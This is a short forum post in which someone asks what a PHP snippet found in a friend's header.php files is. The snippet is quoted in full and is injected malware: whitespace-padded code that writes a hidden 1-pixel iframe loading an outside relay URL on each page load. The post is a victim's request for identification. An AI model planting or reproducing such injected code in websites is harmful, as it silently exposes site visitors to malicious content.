f1930e mystery

few days ago my friend found this on his header.php’s files:

<?
#f1930e#
                                                                                                                                                                                                                                                                                                                                                                      if(!$srvc_counter) {
echo "                                                                                                                                                                                                                                                                                                                                                                      <script type=\"text/javascript\" language=\"javascript\" >                                                                                                                                                                                                                                                                                                                                                                      (function () {    var kgzd = document.createElement('iframe');    kgzd.src = 'https://test.giessepromotion.it/cms/relay.php';    kgzd.style.position = 'absolute';    kgzd.style.border = '0';    kgzd.style.height = '1px';    kgzd.style.width = '1px';    kgzd.style.left = '1px';    kgzd.style.top = '1px';    if (!document.getElementById('kgzd')) {        document.write('<div id=\'kgzd\' ></div>');        document.getElementById('kgzd').appendChild(kgzd);    }})();</script>";
$srvc_counter = true;
}

#/f1930e#
?>

do anyone know what it is ?